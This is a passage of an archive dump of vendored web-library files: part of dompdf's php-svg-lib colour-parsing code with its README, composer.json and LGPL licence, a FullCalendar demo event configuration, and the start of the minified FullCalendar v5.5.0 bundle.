                        $r = $m;
                        $g = $v;
                        $b = $mid1;
                        break;
                    case 3:
                        $r = $m;
                        $g = $mid2;
                        $b = $v;
                        break;
                    case 4:
                        $r = $mid1;
                        $g = $m;
                        $b = $v;
                        break;
                    case 5:
                        $r = $v;
                        $g = $m;
                        $b = $mid2;
                        break;
                }
            }
            $a = $a * 255;

            return array(
                $r * 255.0,
                $g * 255.0,
                $b * 255.0,
                $a
            );
        }

        // Gradient
        if (strpos($color, "url(#") !== false) {
            $i = strpos($color, "(");
            $j = strpos($color, ")");

            // Bad url format
            if ($i === false || $j === false) {
                return null;
            }

            //FIXME: gradients not supported?
            return null; // trim(substr($color, $i + 1, $j - $i - 1));
        }

        return null;
    }

    static function getQuad($color, $percent = false) {
        $i = strpos($color, "(");
        $j = strpos($color, ")");

        // Bad color value
        if ($i === false || $j === false) {
            return null;
        }

        $quad = preg_split("/\\s*[,\\/]\\s*/", trim(substr($color, $i + 1, $j - $i - 1)));
        if (!isset($quad[3])) {
            $quad[3] = "1";
        }

        if (count($quad) != 3 && count($quad) != 4) {
            return null;
        }

        foreach (array_keys($quad) as $c) {
            $quad[$c] = trim($quad[$c]);

            if ($percent) {
                if ($quad[$c][strlen($quad[$c]) - 1] === "%") {
                    $quad[$c] = floatval($quad[$c]) / 100;
                } else {
                    $quad[$c] = floatval($quad[$c]) / 255;
                }
            } else {
                if ($quad[$c][strlen($quad[$c]) - 1] === "%") {
                    $quad[$c] = floatval($quad[$c]) * 2.55;
                } else {
                    $quad[$c] = floatval($quad[$c]);
                }
            }
        }

        return $quad;
    }

    static function parseHexColor($hex)
    {
        $c = array(0.0, 0.0, 0.0, 1.0);

        // #FFFFFF
        if (isset($hex[6])) {
            $c[0] = hexdec(substr($hex, 1, 2));
            $c[1] = hexdec(substr($hex, 3, 2));
            $c[2] = hexdec(substr($hex, 5, 2));

            if (isset($hex[7])) {
                $alpha = substr($hex, 7, 2);
                if (ctype_xdigit($alpha)) {
                    $c[3] = round(hexdec($alpha)/255, 2);
                }
            }
        } else {
            $c[0] = hexdec($hex[1] . $hex[1]);
            $c[1] = hexdec($hex[2] . $hex[2]);
            $c[2] = hexdec($hex[3] . $hex[3]);

            if (isset($hex[4])) {
                if (ctype_xdigit($hex[4])) {
                    $c[3] = round(hexdec($hex[4] . $hex[4])/255, 2);
                }
            }
        }

        return $c;
    }

    /**
     * Simple CSS parser
     *
     * @param $style
     *
     * @return array
     */
    static function parseCssStyle($style)
    {
        $matches = array();
        preg_match_all("/([a-z-]+)\\s*:\\s*([^;$]+)/si", $style, $matches, PREG_SET_ORDER);

        $styles = array();
        foreach ($matches as $match) {
            $styles[$match[1]] = $match[2];
        }

        return $styles;
    }

    static $colorNames = array(
        'antiquewhite'         => '#FAEBD7',
        'aqua'                 => '#00FFFF',
        'aquamarine'           => '#7FFFD4',
        'beige'                => '#F5F5DC',
        'black'                => '#000000',
        'blue'                 => '#0000FF',
        'brown'                => '#A52A2A',
        'cadetblue'            => '#5F9EA0',
        'chocolate'            => '#D2691E',
        'cornflowerblue'       => '#6495ED',
        'crimson'              => '#DC143C',
        'darkblue'             => '#00008B',
        'darkgoldenrod'        => '#B8860B',
        'darkgreen'            => '#006400',
        'darkmagenta'          => '#8B008B',
        'darkorange'           => '#FF8C00',
        'darkred'              => '#8B0000',
        'darkseagreen'         => '#8FBC8F',
        'darkslategray'        => '#2F4F4F',
        'darkviolet'           => '#9400D3',
        'deepskyblue'          => '#00BFFF',
        'dodgerblue'           => '#1E90FF',
        'firebrick'            => '#B22222',
        'forestgreen'          => '#228B22',
        'fuchsia'              => '#FF00FF',
        'gainsboro'            => '#DCDCDC',
        'gold'                 => '#FFD700',
        'gray'                 => '#808080',
        'green'                => '#008000',
        'greenyellow'          => '#ADFF2F',
        'hotpink'              => '#FF69B4',
        'indigo'               => '#4B0082',
        'khaki'                => '#F0E68C',
        'lavenderblush'        => '#FFF0F5',
        'lemonchiffon'         => '#FFFACD',
        'lightcoral'           => '#F08080',
        'lightgoldenrodyellow' => '#FAFAD2',
        'lightgreen'           => '#90EE90',
        'lightsalmon'          => '#FFA07A',
        'lightskyblue'         => '#87CEFA',
        'lightslategray'       => '#778899',
        'lightyellow'          => '#FFFFE0',
        'lime'                 => '#00FF00',
        'limegreen'            => '#32CD32',
        'magenta'              => '#FF00FF',
        'maroon'               => '#800000',
        'mediumaquamarine'     => '#66CDAA',
        'mediumorchid'         => '#BA55D3',
        'mediumseagreen'       => '#3CB371',
        'mediumspringgreen'    => '#00FA9A',
        'mediumvioletred'      => '#C71585',
        'midnightblue'         => '#191970',
        'mintcream'            => '#F5FFFA',
        'moccasin'             => '#FFE4B5',
        'navy'                 => '#000080',
        'olive'                => '#808000',
        'orange'               => '#FFA500',
        'orchid'               => '#DA70D6',
        'palegreen'            => '#98FB98',
        'palevioletred'        => '#D87093',
        'peachpuff'            => '#FFDAB9',
        'pink'                 => '#FFC0CB',
        'powderblue'           => '#B0E0E6',
        'purple'               => '#800080',
        'red'                  => '#FF0000',
        'royalblue'            => '#4169E1',
        'salmon'               => '#FA8072',
        'seagreen'             => '#2E8B57',
        'sienna'               => '#A0522D',
        'silver'               => '#C0C0C0',
        'skyblue'              => '#87CEEB',
        'slategray'            => '#708090',
        'springgreen'          => '#00FF7F',
        'steelblue'            => '#4682B4',
        'tan'                  => '#D2B48C',
        'teal'                 => '#008080',
        'thistle'              => '#D8BFD8',
        'turquoise'            => '#40E0D0',
        'violetred'            => '#D02090',
        'white'                => '#FFFFFF',
        'yellow'               => '#FFFF00',
        'aliceblue'            => '#f0f8ff',
        'azure'                => '#f0ffff',
        'bisque'               => '#ffe4c4',
        'blanchedalmond'       => '#ffebcd',
        'blueviolet'           => '#8a2be2',
        'burlywood'            => '#deb887',
        'chartreuse'           => '#7fff00',
        'coral'                => '#ff7f50',
        'cornsilk'             => '#fff8dc',
        'cyan'                 => '#00ffff',
        'darkcyan'             => '#008b8b',
        'darkgray'             => '#a9a9a9',
        'darkgrey'             => '#a9a9a9',
        'darkkhaki'            => '#bdb76b',
        'darkolivegreen'       => '#556b2f',
        'darkorchid'           => '#9932cc',
        'darksalmon'           => '#e9967a',
        'darkslateblue'        => '#483d8b',
        'darkslategrey'        => '#2f4f4f',
        'darkturquoise'        => '#00ced1',
        'deeppink'             => '#ff1493',
        'dimgray'              => '#696969',
        'dimgrey'              => '#696969',
        'floralwhite'          => '#fffaf0',
        'ghostwhite'           => '#f8f8ff',
        'goldenrod'            => '#daa520',
        'grey'                 => '#808080',
        'honeydew'             => '#f0fff0',
        'indianred'            => '#cd5c5c',
        'ivory'                => '#fffff0',
        'lavender'             => '#e6e6fa',
        'lawngreen'            => '#7cfc00',
        'lightblue'            => '#add8e6',
        'lightcyan'            => '#e0ffff',
        'lightgray'            => '#d3d3d3',
        'lightgrey'            => '#d3d3d3',
        'lightpink'            => '#ffb6c1',
        'lightseagreen'        => '#20b2aa',
        'lightslategrey'       => '#778899',
        'lightsteelblue'       => '#b0c4de',
        'linen'                => '#faf0e6',
        'mediumblue'           => '#0000cd',
        'mediumpurple'         => '#9370db',
        'mediumslateblue'      => '#7b68ee',
        'mediumturquoise'      => '#48d1cc',
        'mistyrose'            => '#ffe4e1',
        'navajowhite'          => '#ffdead',
        'oldlace'              => '#fdf5e6',
        'olivedrab'            => '#6b8e23',
        'orangered'            => '#ff4500',
        'palegoldenrod'        => '#eee8aa',
        'paleturquoise'        => '#afeeee',
        'papayawhip'           => '#ffefd5',
        'peru'                 => '#cd853f',
        'plum'                 => '#dda0dd',
        'rosybrown'            => '#bc8f8f',
        'saddlebrown'          => '#8b4513',
        'sandybrown'           => '#f4a460',
        'seashell'             => '#fff5ee',
        'slateblue'            => '#6a5acd',
        'slategrey'            => '#708090',
        'snow'                 => '#fffafa',
        'tomato'               => '#ff6347',
        'violet'               => '#ee82ee',
        'wheat'                => '#f5deb3',
        'whitesmoke'           => '#f5f5f5',
        'yellowgreen'          => '#9acd32',
    );
}
vendor/dompdf/php-svg-lib/README.md000066600000001736151150443010012726 0ustar00# SVG file parsing / rendering library

[![Build Status](https://github.com/dompdf/php-svg-lib/actions/workflows/test.yml/badge.svg)](https://github.com/dompdf/php-svg-lib/actions/workflows/test.yml)

[![Latest Stable Version](https://poser.pugx.org/phenx/php-svg-lib/v/stable)](https://packagist.org/packages/phenx/php-svg-lib) 
[![Total Downloads](https://poser.pugx.org/phenx/php-svg-lib/downloads)](https://packagist.org/packages/phenx/php-svg-lib) 
[![Latest Unstable Version](https://poser.pugx.org/phenx/php-svg-lib/v/unstable)](https://packagist.org/packages/phenx/php-svg-lib) 
[![License](https://poser.pugx.org/phenx/php-svg-lib/license)](https://packagist.org/packages/phenx/php-svg-lib)

The main purpose of this lib is to rasterize SVG to a surface which can be an image or a PDF for example, through a `\Svg\Surface` PHP interface.

This project was initialized by the need to render SVG documents inside PDF files for the [DomPdf](https://github.com/dompdf/dompdf) project.
vendor/dompdf/php-svg-lib/composer.json000066600000001273151150443010014165 0ustar00{
  "name": "dompdf/php-svg-lib",
  "type": "library",
  "description": "A library to read, parse and export to PDF SVG files.",
  "homepage": "https://github.com/dompdf/php-svg-lib",
  "license": "LGPL-3.0-or-later",
  "authors": [
    {
      "name": "The SvgLib Community",
      "homepage": "https://github.com/dompdf/php-svg-lib/blob/master/AUTHORS.md"
    }
  ],
  "autoload": {
    "psr-4": {
      "Svg\\": "src/Svg"
    }
  },
  "autoload-dev": {
    "psr-4": {
      "Svg\\Tests\\": "tests/Svg"
    }
  },
  "require": {
    "php": "^7.1 || ^8.0",
    "ext-mbstring": "*",
    "sabberworm/php-css-parser": "^8.4"
  },
  "require-dev": {
    "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5"
  }
}
vendor/dompdf/php-svg-lib/LICENSE000066600000016744151150443010012461 0ustar00                   GNU LESSER GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.


  This version of the GNU Lesser General Public License incorporates
the terms and conditions of version 3 of the GNU General Public
License, supplemented by the additional permissions listed below.

  0. Additional Definitions.

  As used herein, "this License" refers to version 3 of the GNU Lesser
General Public License, and the "GNU GPL" refers to version 3 of the GNU
General Public License.

  "The Library" refers to a covered work governed by this License,
other than an Application or a Combined Work as defined below.

  An "Application" is any work that makes use of an interface provided
by the Library, but which is not otherwise based on the Library.
Defining a subclass of a class defined by the Library is deemed a mode
of using an interface provided by the Library.

  A "Combined Work" is a work produced by combining or linking an
Application with the Library.  The particular version of the Library
with which the Combined Work was made is also called the "Linked
Version".

  The "Minimal Corresponding Source" for a Combined Work means the
Corresponding Source for the Combined Work, excluding any source code
for portions of the Combined Work that, considered in isolation, are
based on the Application, and not on the Linked Version.

  The "Corresponding Application Code" for a Combined Work means the
object code and/or source code for the Application, including any data
and utility programs needed for reproducing the Combined Work from the
Application, but excluding the System Libraries of the Combined Work.

  1. Exception to Section 3 of the GNU GPL.

  You may convey a covered work under sections 3 and 4 of this License
without being bound by section 3 of the GNU GPL.

  2. Conveying Modified Versions.

  If you modify a copy of the Library, and, in your modifications, a
facility refers to a function or data to be supplied by an Application
that uses the facility (other than as an argument passed when the
facility is invoked), then you may convey a copy of the modified
version:

   a) under this License, provided that you make a good faith effort to
   ensure that, in the event an Application does not supply the
   function or data, the facility still operates, and performs
   whatever part of its purpose remains meaningful, or

   b) under the GNU GPL, with none of the additional permissions of
   this License applicable to that copy.

  3. Object Code Incorporating Material from Library Header Files.

  The object code form of an Application may incorporate material from
a header file that is part of the Library.  You may convey such object
code under terms of your choice, provided that, if the incorporated
material is not limited to numerical parameters, data structure
layouts and accessors, or small macros, inline functions and templates
(ten or fewer lines in length), you do both of the following:

   a) Give prominent notice with each copy of the object code that the
   Library is used in it and that the Library and its use are
   covered by this License.

   b) Accompany the object code with a copy of the GNU GPL and this license
   document.

  4. Combined Works.

  You may convey a Combined Work under terms of your choice that,
taken together, effectively do not restrict modification of the
portions of the Library contained in the Combined Work and reverse
engineering for debugging such modifications, if you also do each of
the following:

   a) Give prominent notice with each copy of the Combined Work that
   the Library is used in it and that the Library and its use are
   covered by this License.

   b) Accompany the Combined Work with a copy of the GNU GPL and this license
   document.

   c) For a Combined Work that displays copyright notices during
   execution, include the copyright notice for the Library among
   these notices, as well as a reference directing the user to the
   copies of the GNU GPL and this license document.

   d) Do one of the following:

       0) Convey the Minimal Corresponding Source under the terms of this
       License, and the Corresponding Application Code in a form
       suitable for, and under terms that permit, the user to
       recombine or relink the Application with a modified version of
       the Linked Version to produce a modified Combined Work, in the
       manner specified by section 6 of the GNU GPL for conveying
       Corresponding Source.

       1) Use a suitable shared library mechanism for linking with the
       Library.  A suitable mechanism is one that (a) uses at run time
       a copy of the Library already present on the user's computer
       system, and (b) will operate properly with a modified version
       of the Library that is interface-compatible with the Linked
       Version.

   e) Provide Installation Information, but only if you would otherwise
   be required to provide such information under section 6 of the
   GNU GPL, and only to the extent that such information is
   necessary to install and execute a modified version of the
   Combined Work produced by recombining or relinking the
   Application with a modified version of the Linked Version. (If
   you use option 4d0, the Installation Information must accompany
   the Minimal Corresponding Source and Corresponding Application
   Code. If you use option 4d1, you must provide the Installation
   Information in the manner specified by section 6 of the GNU GPL
   for conveying Corresponding Source.)

  5. Combined Libraries.

  You may place library facilities that are a work based on the
Library side by side in a single library together with other library
facilities that are not Applications and are not covered by this
License, and convey such a combined library under terms of your
choice, if you do both of the following:

   a) Accompany the combined library with a copy of the same work based
   on the Library, uncombined with any other library facilities,
   conveyed under the terms of this License.

   b) Give prominent notice with the combined library that part of it
   is a work based on the Library, and explaining where to find the
   accompanying uncombined form of the same work.

  6. Revised Versions of the GNU Lesser General Public License.

  The Free Software Foundation may publish revised and/or new versions
of the GNU Lesser General Public License from time to time. Such new
versions will be similar in spirit to the present version, but may
differ in detail to address new problems or concerns.

  Each version is given a distinguishing version number. If the
Library as you received it specifies that a certain numbered version
of the GNU Lesser General Public License "or any later version"
applies to it, you have the option of following the terms and
conditions either of that published version or of any later version
published by the Free Software Foundation. If the Library as you
received it does not specify a version number of the GNU Lesser
General Public License, you may choose any version of the GNU Lesser
General Public License ever published by the Free Software Foundation.

  If the Library as you received it specifies that a proxy can decide
whether future versions of the GNU Lesser General Public License shall
apply, that proxy's public statement of acceptance of any version is
permanent authorization for you to choose that version for the
Library.
vendor/calendar/custom/daygrid-calendar.js000066600000003702151150443010014654 0ustar00document.addEventListener("DOMContentLoaded", function () {
	var calendarEl = document.getElementById("dayGrid");
	var calendar = new FullCalendar.Calendar(calendarEl, {
		headerToolbar: {
			left: "prevYear,prev,next,nextYear today",
			center: "title",
			right: "dayGridMonth,dayGridWeek,dayGridDay",
		},
		initialDate: "2023-10-10",
		navLinks: true, // can click day/week names to navigate views
		editable: true,
		dayMaxEvents: true, // allow "more" link when too many events
		events: [
			{
				title: "All Day Event",
				start: "2023-10-01",
				color: "#3c3289",
			},
			{
				title: "Long Event",
				start: "2023-10-07",
				end: "2023-10-10",
				color: "#44389a",
			},
			{
				groupId: 999,
				title: "Birthday",
				start: "2023-10-09T16:00:00",
				color: "#4b3eab",
			},
			{
				groupId: 999,
				title: "Birthday",
				start: "2023-10-16T16:00:00",
				color: "#5d51b3",
			},
			{
				title: "Conference",
				start: "2023-10-11",
				end: "2023-10-13",
				color: "#6f65bc",
			},
			{
				title: "Meeting",
				start: "2023-10-14T10:30:00",
				end: "2023-10-14T12:30:00",
				color: "#8178c4",
			},
			{
				title: "Lunch",
				start: "2023-10-16T12:00:00",
				color: "#938bcd",
			},
			{
				title: "Meeting",
				start: "2023-10-18T14:30:00",
				color: "#a59fd5",
			},
			{
				title: "Interview",
				start: "2023-10-21T17:30:00",
				color: "#b7b2dd",
			},
			{
				title: "Meeting",
				start: "2023-10-22T20:00:00",
				color: "#c9c5e6",
			},
			{
				title: "Birthday",
				start: "2023-10-13T07:00:00",
				color: "#dbd8ee",
			},
			{
				title: "Click for Google",
				url: "http://bootstrap.gallery/",
				start: "2023-10-28",
				color: "#edecf7",
			},
			{
				title: "Interview",
				start: "2023-10-20",
				color: "#a59fd5",
			},
			{
				title: "Product Launch",
				start: "2023-10-29",
				color: "#8178c4",
			},
			{
				title: "Leave",
				start: "2023-10-25",
				color: "#5d51b3",
			},
		],
	});

	calendar.render();
});
vendor/calendar/js/main.min.js000066600000747137151150443010012313 0ustar00/*!
FullCalendar v5.5.0
Docs & License: https://fullcalendar.io/
(c) 2020 Adam Shaw
*/
var FullCalendar=function(e){"use strict";var t=function(e,n){return(t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])})(e,n)};function n(e,n){function r(){this.constructor=e}t(e,n),e.prototype=null===n?Object.create(n):(r.prototype=n.prototype,new r)}var r=function(){return(r=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e}).apply(this,arguments)};function o(){for(var e=0,t=0,n=arguments.length;t<n;t++)e+=arguments[t].length;var r=Array(e),o=0;for(t=0;t<n;t++)for(var i=arguments[t],a=0,s=i.length;a<s;a++,o++)r[o]=i[a];return r}var i,a,s,l,u,c,d={},p=[],f=/acit|ex(?:s|g|n|p|$)|rph|grid|ows|mnc|ntw|ine[ch]|zoo|^ord|itera/i;function h(e,t){for(var n in t)e[n]=t[n];return e}function v(e){var t=e.parentNode;t&&t.removeChild(e)}function g(e,t,n){var r,o,i,a=arguments,s={};for(i in t)"key"==i?r=t[i]:"ref"==i?o=t[i]:s[i]=t[i];if(arguments.length>3)for(n=[n],i=3;i<arguments.length;i++)n.push(a[i]);if(null!=n&&(s.children=n),"function"==typeof e&&null!=e.defaultProps)for(i in e.defaultProps)void 0===s[i]&&(s[i]=e.defaultProps[i]);return m(e,s,r,o,null)}function m(e,t,n,r,o){var a={type:e,props:t,key:n,ref:r,__k:null,__:null,__b:0,__e:null,__d:void 0,__c:null,__h:null,constructor:void 0,__v:null==o?++i.__v:o};return null!=i.vnode&&i.vnode(a),a}function y(e){return e.children}function E(e,t){this.props=e,this.context=t}function S(e,t){if(null==t)return e.__?S(e.__,e.__.__k.indexOf(e)+1):null;for(var n;t<e.__k.length;t++)if(null!=(n=e.__k[t])&&null!=n.__e)return n.__e;return"function"==typeof e.type?S(e):null}function D(e){var t,n;if(null!=(e=e.__)&&null!=e.__c){for(e.__e=e.__c.base=null,t=0;t<e.__k.length;t++)if(null!=(n=e.__k[t])&&null!=n.__e){e.__e=e.__c.base=n.__e;break}return D(e)}}function b(e){(!e.__d&&(e.__d=!0)&&a.push(e)&&!C.__r++||l!==i.debounceRendering)&&((l=i.debounceRendering)||s)(C)}function C(){for(var e;C.__r=a.length;)e=a.sort((function(e,t){return e.__v.__b-t.__v.__b})),a=[],e.some((function(e){var t,n,r,o,i,a,s;e.__d&&(a=(i=(t=e).__v).__e,(s=t.__P)&&(n=[],(r=h({},i)).__v=i.__v+1,o=I(s,i,r,t.__n,void 0!==s.ownerSVGElement,null!=i.__h?[a]:null,n,null==a?S(i):a,i.__h),P(n,i),o!=a&&D(i)))}))}function w(e,t,n,r,o,i,a,s,l,u){var c,f,h,g,E,D,b,C=r&&r.__k||p,w=C.length;for(l==d&&(l=null!=a?a[0]:w?S(r,0):null),n.__k=[],c=0;c<t.length;c++)if(null!=(g=n.__k[c]=null==(g=t[c])||"boolean"==typeof g?null:"string"==typeof g||"number"==typeof g?m(null,g,null,null,g):Array.isArray(g)?m(y,{children:g},null,null,null):null!=g.__e||null!=g.__c?m(g.type,g.props,g.key,null,g.__v):g)){if(g.__=n,g.__b=n.__b+1,null===(h=C[c])||h&&g.key==h.key&&g.type===h.type)C[c]=void 0;else for(f=0;f<w;f++){if((h=C[f])&&g.key==h.key&&g.type===h.type){C[f]=void 0;break}h=null}E=I(e,g,h=h||d,o,i,a,s,l,u),(f=g.ref)&&h.ref!=f&&(b||(b=[]),h.ref&&b.push(h.ref,null,g),b.push(f,g.__c||E,g)),null!=E?(null==D&&(D=E),l=R(e,g,h,C,a,E,l),u||"option"!=n.type?"function"==typeof n.type&&(n.__d=l):e.value=""):l&&h.__e==l&&l.parentNode!=e&&(l=S(h))}if(n.__e=D,null!=a&&"function"!=typeof n.type)for(c=a.length;c--;)null!=a[c]&&v(a[c]);for(c=w;c--;)null!=C[c]&&O(C[c],C[c]);if(b)for(c=0;c<b.length;c++)H(b[c],b[++c],b[++c])}function R(e,t,n,r,o,i,a){var s,l,u;if(void 0!==t.__d)s=t.__d,t.__d=void 0;else if(o==n||i!=a||null==i.parentNode)e:if(null==a||a.parentNode!==e)e.appendChild(i),s=null;else{for(l=a,u=0;(l=l.nextSibling)&&u<r.length;u+=2)if(l==i)break e;e.insertBefore(i,a),s=a}return void 0!==s?s:i.nextSibling}function T(e,t,n){"-"===t[0]?e.setProperty(t,n):e[t]=null==n?"":"number"!=typeof n||f.test(t)?n:n+"px"}function k(e,t,n,r,o){var i,a,s;if(o&&"className"==t&&(t="class"),"style"===t)if("string"==typeof n)e.style.cssText=n;else{if("string"==typeof r&&(e.style.cssText=r=""),r)for(t in r)n&&t in n||T(e.style,t,"");if(n)for(t in n)r&&n[t]===r[t]||T(e.style,t,n[t])}else"o"===t[0]&&"n"===t[1]?(i=t!==(t=t.replace(/Capture$/,"")),(a=t.toLowerCase())in e&&(t=a),t=t.slice(2),e.l||(e.l={}),e.l[t+i]=n,s=i?x:M,n?r||e.addEventListener(t,s,i):e.removeEventListener(t,s,i)):"list"!==t&&"tagName"!==t&&"form"!==t&&"type"!==t&&"size"!==t&&"download"!==t&&"href"!==t&&!o&&t in e?e[t]=null==n?"":n:"function"!=typeof n&&"dangerouslySetInnerHTML"!==t&&(t!==(t=t.replace(/xlink:?/,""))?null==n||!1===n?e.removeAttributeNS("http://www.w3.org/1999/xlink",t.toLowerCase()):e.setAttributeNS("http://www.w3.org/1999/xlink",t.toLowerCase(),n):null==n||!1===n&&!/^ar/.test(t)?e.removeAttribute(t):e.setAttribute(t,n))}function M(e){this.l[e.type+!1](i.event?i.event(e):e)}function x(e){this.l[e.type+!0](i.event?i.event(e):e)}function _(e,t,n){var r,o;for(r=0;r<e.__k.length;r++)(o=e.__k[r])&&(o.__=e,o.__e&&("function"==typeof o.type&&o.__k.length>1&&_(o,t,n),t=R(n,o,o,e.__k,null,o.__e,t),"function"==typeof e.type&&(e.__d=t)))}function I(e,t,n,r,o,a,s,l,u){var c,d,p,f,v,g,m,S,D,b,C,R=t.type;if(void 0!==t.constructor)return null;null!=n.__h&&(u=n.__h,l=t.__e=n.__e,t.__h=null,a=[l]),(c=i.__b)&&c(t);try{e:if("function"==typeof R){if(S=t.props,D=(c=R.contextType)&&r[c.__c],b=c?D?D.props.value:c.__:r,n.__c?m=(d=t.__c=n.__c).__=d.__E:("prototype"in R&&R.prototype.render?t.__c=d=new R(S,b):(t.__c=d=new E(S,b),d.constructor=R,d.render=A),D&&D.sub(d),d.props=S,d.state||(d.state={}),d.context=b,d.__n=r,p=d.__d=!0,d.__h=[]),null==d.__s&&(d.__s=d.state),null!=R.getDerivedStateFromProps&&(d.__s==d.state&&(d.__s=h({},d.__s)),h(d.__s,R.getDerivedStateFromProps(S,d.__s))),f=d.props,v=d.state,p)null==R.getDerivedStateFromProps&&null!=d.componentWillMount&&d.componentWillMount(),null!=d.componentDidMount&&d.__h.push(d.componentDidMount);else{if(null==R.getDerivedStateFromProps&&S!==f&&null!=d.componentWillReceiveProps&&d.componentWillReceiveProps(S,b),!d.__e&&null!=d.shouldComponentUpdate&&!1===d.shouldComponentUpdate(S,d.__s,b)||t.__v===n.__v){d.props=S,d.state=d.__s,t.__v!==n.__v&&(d.__d=!1),d.__v=t,t.__e=n.__e,t.__k=n.__k,d.__h.length&&s.push(d),_(t,l,e);break e}null!=d.componentWillUpdate&&d.componentWillUpdate(S,d.__s,b),null!=d.componentDidUpdate&&d.__h.push((function(){d.componentDidUpdate(f,v,g)}))}d.context=b,d.props=S,d.state=d.__s,(c=i.__r)&&c(t),d.__d=!1,d.__v=t,d.__P=e,c=d.render(d.props,d.state,d.context),d.state=d.__s,null!=d.getChildContext&&(r=h(h({},r),d.getChildContext())),p||null==d.getSnapshotBeforeUpdate||(g=d.getSnapshotBeforeUpdate(f,v)),C=null!=c&&c.type==y&&null==c.key?c.props.children:c,w(e,Array.isArray(C)?C:[C],t,n,r,o,a,s,l,u),d.base=t.__e,t.__h=null,d.__h.length&&s.push(d),m&&(d.__E=d.__=null),d.__e=!1}else null==a&&t.__v===n.__v?(t.__k=n.__k,t.__e=n.__e):t.__e=N(n.__e,t,n,r,o,a,s,u);(c=i.diffed)&&c(t)}catch(e){t.__v=null,(u||null!=a)&&(t.__e=l,t.__h=!!u,a[a.indexOf(l)]=null),i.__e(e,t,n)}return t.__e}function P(e,t){i.__c&&i.__c(t,e),e.some((function(t){try{e=t.__h,t.__h=[],e.some((function(e){e.call(t)}))}catch(e){i.__e(e,t.__v)}}))}function N(e,t,n,r,o,i,a,s){var l,u,c,f,h,v=n.props,g=t.props;if(o="svg"===t.type||o,null!=i)for(l=0;l<i.length;l++)if(null!=(u=i[l])&&((null===t.type?3===u.nodeType:u.localName===t.type)||e==u)){e=u,i[l]=null;break}if(null==e){if(null===t.type)return document.createTextNode(g);e=o?document.createElementNS("http://www.w3.org/2000/svg",t.type):document.createElement(t.type,g.is&&{is:g.is}),i=null,s=!1}if(null===t.type)v===g||s&&e.data===g||(e.data=g);else{if(null!=i&&(i=p.slice.call(e.childNodes)),c=(v=n.props||d).dangerouslySetInnerHTML,f=g.dangerouslySetInnerHTML,!s){if(null!=i)for(v={},h=0;h<e.attributes.length;h++)v[e.attributes[h].name]=e.attributes[h].value;(f||c)&&(f&&(c&&f.__html==c.__html||f.__html===e.innerHTML)||(e.innerHTML=f&&f.__html||""))}(function(e,t,n,r,o){var i;for(i in n)"children"===i||"key"===i||i in t||k(e,i,null,n[i],r);for(i in t)o&&"function"!=typeof t[i]||"children"===i||"key"===i||"value"===i||"checked"===i||n[i]===t[i]||k(e,i,t[i],n[i],r)})(e,g,v,o,s),f?t.__k=[]:(l=t.props.children,w(e,Array.isArray(l)?l:[l],t,n,r,"foreignObject"!==t.type&&o,i,a,d,s)),s||("value"in g&&void 0!==(l=g.value)&&(l!==e.value||"progress"===t.type&&!l)&&k(e,"value",l,v.value,!1),"checked"in g&&void 0!==(l=g.checked)&&l!==e.checked&&k(e,"checked",l,v.checked,!1))}return e}function H(e,t,n){try{"function"==typeof e?e(t):e.current=t}catch(e){i.__e(e,n)}}function O(e,t,n){var r,o,a;if(i.unmount&&i.unmount(e),(r=e.ref)&&(r.current&&r.current!==e.__e||H(r,null,t)),n||"function"==typeof e.type||(n=null!=(o=e.__e)),e.__e=e.__d=void 0,null!=(r=e.__c)){if(r.componentWillUnmount)try{r.componentWillUnmount()}catch(e){i.__e(e,t)}r.base=r.__P=null}if(r=e.__k)for(a=0;a<r.length;a++)r[a]&&O(r[a],t,n);null!=o&&v(o)}function A(e,t,n){return this.constructor(e,n)}function U(e,t,n){var r,o,a;i.__&&i.__(e,t),o=(r=n===u)?null:n&&n.__k||t.__k,e=g(y,null,[e]),a=[],I(t,(r?t:n||t).__k=e,o||d,d,void 0!==t.ownerSVGElement,n&&!r?[n]:o?null:t.childNodes.length?p.slice.call(t.childNodes):null,a,n||d,r),P(a,e)}i={__e:function(e,t){for(var n,r,o,i=t.__h;t=t.__;)if((n=t.__c)&&!n.__)try{if((r=n.constructor)&&null!=r.getDerivedStateFromError&&(n.setState(r.getDerivedStateFromError(e)),o=n.__d),null!=n.componentDidCatch&&(n.componentDidCatch(e),o=n.__d),o)return t.__h=i,n.__E=n}catch(t){e=t}throw e},__v:0},E.prototype.setState=function(e,t){var n;n=null!=this.__s&&this.__s!==this.state?this.__s:this.__s=h({},this.state),"function"==typeof e&&(e=e(h({},n),this.props)),e&&h(n,e),null!=e&&this.__v&&(t&&this.__h.push(t),b(this))},E.prototype.forceUpdate=function(e){this.__v&&(this.__e=!0,e&&this.__h.push(e),b(this))},E.prototype.render=y,a=[],s="function"==typeof Promise?Promise.prototype.then.bind(Promise.resolve()):setTimeout,C.__r=0,u=d,c=0;var L="undefined"!=typeof globalThis?globalThis:window;L.FullCalendarVDom?console.warn("FullCalendar VDOM already loaded"):L.FullCalendarVDom={Component:E,createElement:g,render:U,createRef:function(){return{current:null}},Fragment:y,createContext:function(e){var t=function(e,t){var n={__c:t="__cC"+c++,__:e,Consumer:function(e,t){return e.children(t)},Provider:function(e,n,r){return this.getChildContext||(n=[],(r={})[t]=this,this.getChildContext=function(){return r},this.shouldComponentUpdate=function(e){this.props.value!==e.value&&n.some(b)},this.sub=function(e){n.push(e);var t=e.componentWillUnmount;e.componentWillUnmount=function(){n.splice(n.indexOf(e),1),t&&t.call(e)}}),e.children}};return n.Provider.__=n.Consumer.contextType=n}(e),n=t.Provider;return t.Provider=function(){var e=this,t=!this.getChildContext,r=n.apply(this,arguments);if(t){var o=[];this.shouldComponentUpdate=function(t){e.props.value!==t.value&&o.forEach((function(e){e.context=t.value,e.forceUpdate()}))},this.sub=function(e){o.push(e);var t=e.componentWillUnmount;e.componentWillUnmount=function(){o.splice(o.indexOf(e),1),t&&t.call(e)}}}return r},t},flushToDom:function(){var e=i.debounceRendering,t=[];i.debounceRendering=function(e){t.push(e)},U(g(W,{}),document.createElement("div"));for(;t.length;)t.shift()();i.debounceRendering=e},unmountComponentAtNode:function(e){U(null,e)}};var 